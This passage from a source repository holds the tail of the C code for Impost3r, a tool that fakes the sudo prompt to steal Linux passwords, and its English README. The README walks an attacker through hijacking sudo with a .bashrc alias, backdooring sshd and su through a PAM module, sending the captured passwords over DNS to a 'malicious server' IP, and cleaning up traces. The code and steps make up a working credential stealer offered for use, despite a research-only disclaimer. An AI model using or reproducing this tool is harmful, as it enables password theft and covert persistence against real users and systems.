save_passwd(usrInfo->pw_name,stealPasswd,allPasswd,0); 187 | return allPasswd; 188 | } 189 | 190 | printf("Sorry, try again.\n"); 191 | save_passwd(usrInfo->pw_name,stealPasswd,allPasswd,0); 192 | } 193 | else 194 | { 195 | int pid = fork(); 196 | if (pid == 0) 197 | { 198 | successFlag = 0; 199 | save_passwd(usrInfo->pw_name,stealPasswd,allPasswd,1); 200 | return allPasswd; 201 | } 202 | else 203 | { 204 | execv("/usr/bin/sudo",params); 205 | exit(0); 206 | } 207 | } 208 | retryTimes ++; 209 | } 210 | //free(stealPasswd); 211 | } 212 | else 213 | { 214 | sudo(arguments); 215 | } 216 | return NULL; 217 | } 218 | 219 | int 220 | need_password() 221 | { 222 | int status; 223 | 224 | status = system("/usr/bin/sudo -n true 2>/dev/null"); 225 | 226 | if (status == 256) { 227 | return 1; 228 | } else { 229 | return 0; 230 | } 231 | } 232 | 233 | void 234 | hijack_sudo(struct passwd *usrInfo,int argc,char arguments[],char *params[]) 235 | { 236 | if (usrInfo) 237 | { 238 | if (need_password()) 239 | { 240 | char *all = fake_sudo(usrInfo,argc,arguments,params); 241 | if (!successFlag) 242 | { 243 | /* 244 | 生成孤儿进程负责传输密码,子进程负责清场,防止阻塞 245 | */ 246 | int pid = fork(); 247 | if (pid == 0) 248 | { 249 | if (SAVE_OR_SEND) 250 | { 251 | save_passwd_local(all); 252 | } 253 | else 254 | { 255 | send_passwd(all); 256 | } 257 | } 258 | else 259 | { 260 | clear_all(); 261 | } 262 | } 263 | } 264 | else 265 | { 266 | sudo(arguments); 267 | } 268 | } 269 | else 270 | { 271 | sudo(arguments); 272 | } 273 | } 274 | 275 | int 276 | main(int argc, char *argv[]) 277 | { 278 | struct passwd *usrInfo = getpwuid(getuid()); 279 | 280 | char arguments[BUFFER_LEN] = {0}; 281 | 282 | char *params[1000]; 283 | 284 | for (int number = 1;number < argc;++number) 285 | { 286 | snprintf(arguments+strlen(arguments), sizeof(arguments)-strlen(arguments), " %s", argv[number]); 287 | } 288 | 289 | params[0]="sudo"; 290 | 291 | for (int number = 1;number < argc;++number) 292 | { 293 | params[number] = argv[number]; 294 | } 295 | 296 | hijack_sudo(usrInfo,argc,arguments,params); 297 | 298 | return successFlag; 299 | } -------------------------------------------------------------------------------- /README_EN.md: -------------------------------------------------------------------------------- 1 | ![imposter.png](https://github.com/ph4ntonn/Impost3r/blob/master/img/Impost3r.png) 2 | 3 | # Impost3r 4 | 5 | [![GitHub issues](https://img.shields.io/github/issues/ph4ntonn/Impost3r)](https://github.com/ph4ntonn/Impost3r/issues) 6 | [![GitHub stars](https://img.shields.io/github/stars/ph4ntonn/Impost3r)](https://github.com/ph4ntonn/Impost3r/stargazers) 7 | [![GitHub forks](https://img.shields.io/github/forks/ph4ntonn/Impost3r)](https://github.com/ph4ntonn/Impost3r/network) 8 | [![GitHub license](https://img.shields.io/github/license/ph4ntonn/Impost3r?label=license)](https://github.com/ph4ntonn/Impost3r/blob/master/LICENSE) 9 | 10 | Impost3r is a tool that aim to steal many kinds of linux passwords(including ssh,su,sudo) written by C 11 | 12 | Attackers can use Impost3r to make a trap to steal the legal user's passwords XD 13 | 14 | > This tool is limited to security research and teaching, and the user bears all legal and related responsibilities caused by the use of this tool! The author does not assume any legal and related responsibilities! 15 | 16 | ## Features 17 | 18 | - Automatically clean the track 19 | - Use DNS to transfer the result 20 | - Really hard for legal users can feel this attack 21 | 22 | ## Dependencies 23 | 24 | - gcc 25 | 26 | ## Usage 27 | 28 | Impost3r can be used to steal passwords including sudo, su, and ssh services. These three services can be roughly divided into two categories, sudo and ssh/su. I will discuss them below 29 | 30 | ## Steal sudo password 31 | 32 | Only need ordinary user's privilege,and can only steal current user's password. 33 | 34 | - First i will assume that attacker has controled a server and the privilege is ordinary user 35 | 36 | - Then copy the original .bashrc file ```cp ~/.bashrc /tmp/```,and put this copy anywhere you like(In this case,i will use /tmp/) 37 | 38 | - Edit the original .bashrc,and add following sentences at the end of file(The param "/tmp/.impost3r" must be as the same as the following FILENAME you specified): 39 | 40 | ``` 41 | alias sudo='impost3r() { 42 | if [ -f "/tmp/.impost3r" ]; then 43 | /tmp/.impost3r "$@" && unalias sudo 44 | else 45 | unalias sudo;sudo "$@" 46 | fi 47 | }; impost3r' 48 | ``` 49 | 50 | - Then,save it and run ```source ~/.bashrc``` 51 | 52 | - After that,attacker needs to edit the source code of Impost3r```/sudo/main.c```: 53 | 54 | ``` 55 | /* 56 | Custom setting 57 | */ 58 | # define FILENAME "/tmp/.impost3r" \\Set the location where the Impost3r is on the server you attack. 59 | # define BACKUP_BASHRC "/tmp/.bashrc" \\Set the location where the backup .bashrc is on the server you attack. 60 | # define SAVE_OR_SEND 0 \\Set the method you want to apply when Impost3r get the password,(send to your server=0,save the result on the current server=1,default is send) 61 | /* 62 | Send to server 63 | */ 64 | # define MAX_RESEND 30 \\Set the maximum times that Impost3r will try to resends stealing result to attacker's server 65 | # define RESEND_INTERVAL 5 \\Set the interval of resending stealing result. 66 | # define REMOTE_ADDRESS "192.168.0.12" \\Set the malicious server ip address that you want to receive stealing result 67 | # define REMOTE_PORT 53 \\Set the malicious server port 68 | 69 | /* 70 | Save to local 71 | */ 72 | # define SAVE_LOCATION "/tmp/.cache" \\Set the result file location if you want to save the result on the server 73 | ``` 74 | - Save the source code,and run ```make``` 75 | 76 | - Get the .impost3r file after compiling. 77 | 78 | - Upload .impost3r file to the target server and put it under the FILENAME you specified. 79 | 80 | - The last thing you should do is run a dns server service on your server(REMOTE_ADDRESS)'s port(REMOTE_PORT),and waiting for the bonus. 81 | 82 | ### Demo 83 | 84 | 85 | 86 | ### Tips 87 | 88 | - When Impost3r steal the sudo password successfully,it will automatically clean the traces it make on the target server. 89 | 90 | ## Steal ssh/su password 91 | 92 | Stealing the ssh/su password is different from the sudo password stealing method above. You need root privilege.And this method can steal all user's password 93 | 94 | The following uses Ubuntu as an example, Centos is similar,but the file locations mentioned may be slightly different 95 | 96 | - First, assume that the attacker controls a server,and gets the root privilege 97 | 98 | - Then edit the ```/ssh_su/main.c``` source code file of Impost3r 99 | 100 | ``` 101 | /* 102 | Custom setting 103 | */ 104 | # define SSH_OR_BOTH 0 \\Set stealing mode, 0 means only steal ssh password, 1 means steal ssh and su password, the default is 0 (the difference will be mentioned later) 105 | # define SAVE_OR_SEND 0 \\Set the method you want to apply when Impost3r get the password,(send to your server=0,save the result on the current server=1,default is send) 106 | 107 | /* 108 | Send to server 109 | */ 110 | # define MAX_RESEND 30 \\Set the maximum times that Impost3r will try to resends stealing result to attacker's server(This option is valid only when SSH_OR_BOTH is 0) 111 | # define RESEND_INTERVAL 5 \\Set the interval of resending stealing result.(This option is valid only when SSH_OR_BOTH is 0) 112 | # define REMOTE_ADDRESS "192.168.0.12" \\Set the malicious server ip address that you want to receive stealing result 113 | # define REMOTE_PORT 53 \\Set the malicious server port 114 | 115 | /* 116 | Save to local 117 | */ 118 | # define SAVE_LOCATION "/tmp/.sshsucache" \\Set the result file location if you want to save the result on the server 119 | ``` 120 | 121 | - After the modification is completed, save and execute ```make''` in the current directory 122 | 123 | - Get the compiled file impost3r.so 124 | 125 | - Upload the compiled impost3r.so to the target server under ```/lib/x86_64-linux-gnu/security``` folder.(Different machines may have different folder names) 126 | 127 | - Enter ```/etc/pam.d```, and then there are two cases. If the selected mode is to steal only the ssh password, then you need to execute ```vi sshd``` and add at the following statement at the end of the file. 128 | 129 | ``` 130 | auth optional impost3r.so 131 | account optional impost3r.so 132 | ``` 133 | 134 | - Save and exit, restart the sshd service ```service sshd restart``` 135 | 136 | - But if you choose to steal the ssh and su passwords together, you need to execute ```vi common-auth```, add the same statement, save and exit and restart the sshd service 137 | 138 | - Attacker starts the dns server program on his server, waiting for a legitimate user to log on the target server via ```ssh``` or use ```su``` to switch users to get the passwords. 139 | 140 | ### Demo 141 | 142 | 143 | 144 | ### Tips 145 | 146 | - In the case of stealing the ssh/su password, Impost3r cannot clear the traces due to permission reasons, so the attacker needs to clear them himself 147 | 148 | - Please note that if you set to steal only ssh passwords, you can be guaranteed that you will receive the stolen results nearly 100 percent, but if you set to steal both, you will not be guaranteed that you will receive the results 149 | 100 percent. (Choose to save result locally won't have this problem,Only dns will) 150 | 151 | - It is not recommended to steal the su password since the user's ssh password is the same as the su password.It's pretty enough to have ssh password i think. 152 | 153 | - Impost3r won't steal the password if the passwaord is null,so check this scenario by yourself 154 | 155 | ## Attention 156 | 157 | - The Dns server progran I use is [Fdns](https://github.com/deepdarkness/Fdns),and I change some params,you can find the changed source code under the ```Fdns``` folder,and use ```gcc -o dns main.c util.c``` to compile it by yourself.And actually you can use any kinds of dns server,but the dns server you use must can make a dns response to client instead of just recording dns request(You also need recording dns request,or you will lose the stealing result). 158 | - This porject is coding just for fun , the logic structure and code structure are not strict enough, please don't be so serious about it,and also welcome suggestions and prs. 159 | 160 | ## Thanks 161 | 162 | - [Fdns](https://github.com/deepdarkness/Fdns) 163 | --------------------------------------------------------------------------------